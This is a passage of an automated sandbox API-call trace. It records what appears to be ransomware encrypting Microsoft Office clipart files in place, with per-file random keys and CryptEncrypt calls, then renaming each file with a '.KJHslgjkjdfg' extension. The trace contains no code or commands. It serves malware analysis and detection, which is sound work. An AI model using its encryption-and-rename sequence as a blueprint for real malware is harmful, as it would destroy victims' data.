lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0154.556] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0154.557] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0154.557] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.557] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.557] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.557] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x133c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x133c, lpOverlapped=0x0) returned 1 [0154.560] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1340, dwBufLen=0x1340 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1340) returned 1 [0154.560] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.561] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1340, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1340, lpOverlapped=0x0) returned 1 [0154.561] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.561] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1414, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.561] SetEndOfFile (hFile=0x114) returned 1 [0154.563] GetProcessHeap () returned 0x2a0000 [0154.564] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0154.564] GetProcessHeap () returned 0x2a0000 [0154.564] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0154.564] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf.kjhslgjkjdfg")) returned 1 [0154.565] CloseHandle (hObject=0x114) returned 1 [0154.565] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xfe2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BD07831_.WMF", cAlternateFileName="")) returned 1 [0154.565] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0154.567] GetProcessHeap () returned 0x2a0000 [0154.567] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0154.567] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0154.567] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0154.567] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0154.571] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.571] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.571] GetProcessHeap () returned 0x2a0000 [0154.571] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0154.571] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0154.571] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.571] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0154.571] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0154.572] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0154.572] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0154.572] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0154.572] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0154.572] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.572] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.572] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.572] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xfe2, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xfe2, lpOverlapped=0x0) returned 1 [0154.572] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xff0, dwBufLen=0xff0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xff0) returned 1 [0154.572] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.572] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xff0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xff0, lpOverlapped=0x0) returned 1 [0154.573] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.573] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x10c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.573] SetEndOfFile (hFile=0x114) returned 1 [0154.576] GetProcessHeap () returned 0x2a0000 [0154.576] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0154.576] GetProcessHeap () returned 0x2a0000 [0154.576] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0154.576] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf.kjhslgjkjdfg")) returned 1 [0154.577] CloseHandle (hObject=0x114) returned 1 [0154.577] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5f00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BD08758_.WMF", cAlternateFileName="")) returned 1 [0154.577] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0154.578] GetProcessHeap () returned 0x2a0000 [0154.578] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0154.578] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0154.578] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0154.578] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.578] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.578] GetProcessHeap () returned 0x2a0000 [0154.578] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0154.578] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0154.579] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.579] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0154.583] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0154.583] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0154.583] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0154.583] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0154.583] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0154.584] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.584] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.584] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.584] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x5f00, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x5f00, lpOverlapped=0x0) returned 1 [0154.585] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5f00, dwBufLen=0x5f00 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5f00) returned 1 [0154.586] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.586] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x5f00, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x5f00, lpOverlapped=0x0) returned 1 [0154.586] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.586] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x5fd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.586] SetEndOfFile (hFile=0x114) returned 1 [0154.589] GetProcessHeap () returned 0x2a0000 [0154.589] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0154.589] GetProcessHeap () returned 0x2a0000 [0154.589] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0154.589] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf.kjhslgjkjdfg")) returned 1 [0154.590] CloseHandle (hObject=0x114) returned 1 [0154.591] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x60ca, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BD08773_.WMF", cAlternateFileName="")) returned 1 [0154.591] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0154.591] GetProcessHeap () returned 0x2a0000 [0154.591] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0154.591] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0154.591] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0154.591] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0154.594] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.594] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.594] GetProcessHeap () returned 0x2a0000 [0154.594] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0154.594] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0154.594] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.594] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0154.594] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0154.594] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0154.594] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0154.595] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0154.595] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0154.595] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.595] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.595] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.595] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x60ca, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x60ca, lpOverlapped=0x0) returned 1 [0154.596] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x60d0, dwBufLen=0x60d0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x60d0) returned 1 [0154.596] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.597] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x60d0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x60d0, lpOverlapped=0x0) returned 1 [0154.597] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.597] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x61a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.597] SetEndOfFile (hFile=0x114) returned 1 [0154.600] GetProcessHeap () returned 0x2a0000 [0154.600] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0154.600] GetProcessHeap () returned 0x2a0000 [0154.600] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0154.600] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf.kjhslgjkjdfg")) returned 1 [0154.602] CloseHandle (hObject=0x114) returned 1 [0154.602] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbb7c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BD08808_.WMF", cAlternateFileName="")) returned 1 [0154.602] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0154.602] GetProcessHeap () returned 0x2a0000 [0154.602] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0154.602] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0154.602] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0154.603] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0154.605] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.605] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.605] GetProcessHeap () returned 0x2a0000 [0154.605] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0154.605] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0154.605] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.605] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0154.605] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0154.606] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0154.606] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0154.606] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0154.606] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0154.606] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.606] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.606] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.606] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xbb7c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xbb7c, lpOverlapped=0x0) returned 1 [0154.608] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xbb80, dwBufLen=0xbb80 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xbb80) returned 1 [0154.609] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.609] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xbb80, 